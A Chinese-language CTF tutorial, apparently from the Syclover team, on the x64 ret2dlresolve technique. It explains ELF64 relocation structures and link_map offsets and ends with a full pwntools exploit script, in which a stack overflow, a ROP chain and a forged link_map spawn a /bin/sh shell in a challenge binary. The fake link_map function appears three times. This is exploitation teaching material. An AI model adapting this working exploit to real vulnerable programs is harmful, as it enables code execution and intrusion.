ret2dlresolve详解 附源码分析(x86&x64)

所以我们需要伪造这个数组里的几个指针

DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)


然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到


64位下重定位表项与32位有所不同


typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field.  */
#define ELF64_R_SYM(i)                        ((i) >> 32)
#define ELF64_R_TYPE(i)                        ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)                ((((Elf64_Xword) (sym)) << 32) + (type))


这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 (0x18)字节。

ret2dlresolve详解 附源码分析(x86&x64)

在这里可以看到,write 函数在符号表中的偏移为 1(0x100000007h>>32)

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0,对应上图第一个位置

ret2dlresolve详解 附源码分析(x86&x64)
typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field.  */
#define ELF64_R_SYM(i)                        ((i) >> 32)
#define ELF64_R_TYPE(i)                        ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)                ((((Elf64_Xword) (sym)) << 32) + (type))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap


下面是完整的脚本


from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

#r = gdb.debug("./parelro_x64",'break main')
r = process('./parelro_x64')  
elf = ELF('./parelro_x64')  
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')  
read_plt = elf.plt['read']  
write_got = elf.got['write']  
vuln_addr = elf.sym['vuln']  
  
#bss  
bss = 0x601050  
bss_stage = bss + 0x100
l_addr =  libc.sym['system'] -libc.sym['write']  # l_addr = -769472, 通常为负数
  
pop_rdi = 0x4007a3  
#pop rsi ; pop r15 ; ret  
pop_rsi = 0x4007a1  
#用于解析符号dl_runtime_resolve  
plt_load = 0x400506  

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)# 伪造link_map

payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
                pop_rsi , 0 ,0 , # 使栈十六字节对齐,不然调用不了system
                pop_rdi , bss_stage + 0x48  , plt_load , bss_stage , 0 # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
)

r.recvuntil('Welcome to XDCTF2015~!\n')  
r.sendline(payload)  

r.send(fake_link_map) 

r.interactive() 




总结

这种方法用于在不能leak出libc时使用,虽然过程略显繁杂,但掌握之后对底层的认识加深也有不少作用。





参考链接


http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/

https://blog.csdn.net/seaaseesa/article/details/104478081


相关文件及脚本

https://pan.baidu.com/s/1Hjdc2TChA1fSBXTUfxp7AA 提取码: v7cc




新浪微博:@三叶草小组Syclover